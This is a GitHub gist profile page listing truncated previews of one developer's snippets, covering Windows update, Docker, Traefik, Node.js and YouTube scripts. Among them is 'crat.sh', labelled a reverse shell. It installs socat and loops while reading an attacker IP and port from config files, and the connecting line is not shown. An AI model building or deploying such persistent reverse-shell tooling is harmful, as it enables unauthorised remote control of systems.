Skip to content

Instantly share code, notes, and snippets.

View AsP3X's full-sized avatar
⛏️
PaperMC 1.19.2

Niklas Vorberg AsP3X

⛏️
PaperMC 1.19.2
  • freelancer
  • Hamburg
View GitHub Profile
@AsP3X
AsP3X / FixWinUp.bat
Created March 8, 2024 12:13
Fix windows update using this script
@echo off
setlocal
:: Function to calculate checksum of a file
:checksum
setlocal
set "file=%1"
certutil -hashfile "%file%" MD5 | findstr /v /c:"CertUtil" | findstr /v /c:"MD5" | findstr /v /c:"%file%"
endlocal & exit /b %errorlevel%
@AsP3X
AsP3X / build.sh
Created October 6, 2022 07:07
docker-build-script
#!/bin/bash
# Check if docker is installed otherwise refuse to continue
if [ -d "/usr/bin/docker" ]; then
echo "Docker is already installed"
else
echo "Docker is not installed. Please install Docker and try again."
exit 1
fi
@AsP3X
AsP3X / docker-compose.yml
Created January 3, 2022 16:29
Create traefik and portainer with docker
version: "3.7"
services:
traefik:
image: traefik:2.4.8
container_name: traefik
restart: always
command:
# Try to enable this if something isn't working.
# Chances are, Traefik will tell you why.
@AsP3X
AsP3X / crat.sh
Last active December 21, 2021 16:52
CRAT - Reverse shell
#/bin/bash
if [ ! -x "$(command -v socat)" ]; then sudo apt install -y socat; fi
while true
do
# check if the file ip-address.txt exists
if [ -f /etc/crat_config/rev_ip.txt ]; then rev_ip=$(cat /etc/crat_config/rev_ip.txt); fi
if [ -f /etc/crat_config/rev_port.txt ]; then rev_ip=$(cat /etc/crat_config/rev_port.txt); fi
@AsP3X
AsP3X / README.md
Last active December 20, 2021 13:40
issue_fs.readFileSync_path_does_not_exist

Issue with fs.readFileSync

While using fs.readFileSync i encountered a problem loading a config file.

Result of __dirname

console.log(__dirname); >>>>>> C:\Users\MYUSER\Desktop\Development\ehrekonto\api\server\api\routes

The config file i'm trying to load is located one directory above: C:\Users\MYUSER\Desktop\Development\ehrekonto\api\server\api\configs\protected.json

@AsP3X
AsP3X / clearWatchLater.js
Last active December 14, 2021 14:21
Removing all video inside of the youtubes watch later playlist.
var clearTimer;
function clearWatchList(interval) {clearTimer = setInterval(clearWatchLater, interval);}
function getButtonAttr() {
var menuName = ["Aktionsmenü", "Action menu"]
var buttons = document.querySelectorAll("#button");
for (var i = 0; i < buttons.length; i++) {
var context = buttons[i].getAttribute("aria-label");
if (menuName.includes(context))
return buttons[i].getAttribute("aria-label");